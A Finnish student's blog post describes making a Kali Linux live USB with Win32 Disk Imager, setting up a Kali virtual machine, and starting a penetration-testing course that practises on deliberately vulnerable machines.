Kali on Linux-distribuutio, johon on valmiiksi sisällytetty useita tunkeutumistestaukseen liittyviä ohjelmia. Tulen itse käyttämään virtuaalista Kalia, mutta livetikku on myös hyvä olla olemassa.

Päätin käyttää livetikun tekemiseen Kalin sivuilta löytyvistä ohjeista mainittua Win32 Disk Imager -ohjelmaa, sillä se vaikutti yksinkertaiselta enkä kuullut, että kellään ryhmäläiselläni olisi ollut ongelmia kyseisellä ohjelmalla tehdyn livetikun kanssa.

Muistitikun kiinnitettyäni Win32 Disk Imager löysi laitteen automaattisesti. Etsin vain Kalin sivuilta lataamani .iso-tiedoston ja painoin Write-nappulaa. Pienen odottelun jälkeen tikku oli valmis ja kokeilin siltä boottaamista omalla läppärilläni. En heti tiennyt, mikä root-käyttäjän oletussalasana on live-tilassa, mutta sain nopeasti selville sen olevan ”toor”. Sisään päästyäni järjestelmä vaikutti toimivan normaalisti.

Työskentelen kuitenkin yleensä mielummin virtuaalikoneella, joten tein itselleni myös virtuaalisen Kali-koneen tehtävien tekemistä varten.

Uusi kurssi, uudet kujeet

Aloitin noin viikko sitten uuden Tero Karvisen kurssin, jonka teemana on tunkeutumistestaus. Opettelemme siis murtautumaan maaileiksi asetettuihin haavoittuviin tietokoneisiin, jotta ymmärtäisimme tietoturvaa paremmin käytännön tasolla. Kurssi on edennyt aika haipakkaa, sillä siihen kuuluu kokeen/labraharjoituksen lisäksi vain kuusi päivää lähiopetusta ja käsiteltävää asiaa on hyvin paljon. En olisi viikolla pitkien päivien ja aikaisten nukkumaanmenoaikojen takia ehtinyt kunnolla paneutua tehtäviin, joten säästin ne tälle viikonlopulle ja meinasinkin tykitellä kaikki tähän mennessä annetut tehtävät tänään ja huomenna.